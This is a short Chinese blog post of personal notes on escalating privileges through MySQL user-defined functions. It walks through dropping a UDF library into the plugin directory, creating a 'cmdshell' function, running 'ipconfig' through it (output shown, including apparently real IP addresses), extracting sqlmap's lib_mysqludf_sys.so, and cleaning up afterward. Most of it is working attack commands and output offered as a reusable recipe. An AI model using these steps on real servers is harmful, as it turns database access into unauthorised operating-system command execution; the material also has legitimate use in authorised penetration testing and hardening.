mysql提权笔记

最近小菜遇到mysql提权,总是会搞错,就记记笔记吧!以后方便用

先说手工吧!

mysql<5.0,导出路径随意;5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误;mysql>5.1,需要使用

show variables like '%plugin%';
语句查看插件安装路径,导出的时候指定DLL路径为插件路径。

现在几乎都是五点几吧!低版本的就很少了,select version();查看

我把手工用到的命令记下来

mysql> show variables like '%plugin%';
+---------------+------------------------------------------+
| Variable_name | Value                                    |
+---------------+------------------------------------------+
| plugin_dir    | D:wampinmysqlmysql5.5.16lib/plugin |
+---------------+------------------------------------------+

mysql> use mysql;
Database changed

mysql> select "aaa" into dumpfile 'D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moon
udf.dll';
ERROR 1086 (HY000): File 'D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moonudf.dll'
already exists

已经存在了,我先前弄过了

mysql> create function cmdshell returns string soname 'udf.dll';
ERROR 1125 (HY000): Function 'cmdshell' already exists

mysql> select cmdshell('ipconfig');

| cmdshell('ipconfig')

|
Windows IP 配置

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::858e:b0a0:bc98:fecf%11
IPv4 地址 . . . . . . . . . . . . : 27.152.28.230
子网掩码  . . . . . . . . . . . . : 255.255.255.224
IPv4 地址 . . . . . . . . . . . . : 175.43.122.230
子网掩码  . . . . . . . . . . . . : 255.255.255.224
默认网关. . . . . . . . . . . . . : 27.152.28.225

隧道适配器 isatap.{E3397DA6-F698-46FB-A3DB-784ADC1B044E}:

媒体状态  . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

隧道适配器 6TO4 Adapter:

连接特定的 DNS 后缀 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2002:1b98:1ce6::1b98:1ce6
IPv6 地址 . . . . . . . . . . . . : 2002:af2b:7ae6::af2b:7ae6
默认网关. . . . . . . . . . . . . : 2002:c058:6301::c058:6301

隧道适配器 Teredo Tunneling Pseudo-Interface:

连接特定的 DNS 后缀 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2001:0:da55:94fa:3c18:a35:e467:e319
本地链接 IPv6 地址. . . . . . . . : fe80::3c18:a35:e467:e319%19
默认网关. . . . . . . . . . . . . :

--------------------------------------------完成!
|

1 row in set (0.14 sec)

mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name     | ret | dl          | type     |
+----------+-----+-------------+----------+
| cmdshell |   0 | moonudf.dll | function |
+----------+-----+-------------+----------+
1 row in set (0.07 sec)

附带一个吧!不确定能用,从代码里面抠出来的wiindows_udf

也可以在sqlmap里面抠出来,注意对应

select hex(load_file('/usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

然后是工具了吧!MYSQL_high_version

这里得改------

linux下也差不多的,就懒得写了

--------------------------------------

若mysql>=5.0,语句中的DLL不允许带全路径,如果在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则将会看到”Can't open shared library“错误。

如果提示“Function 'cmdshell' already exists”,则输入下列语句可以解决:

delete from mysql.func where name='cmdshell'

函数使用完后,我们需要把之前生成的DLL和创建的函数删除掉,但要注意次序,必须先删除函数再删除DLL。删除函数的语法如下:

drop function 创建的函数名;

原文地址:https://www.cnblogs.com/lly-lly/p/5390945.html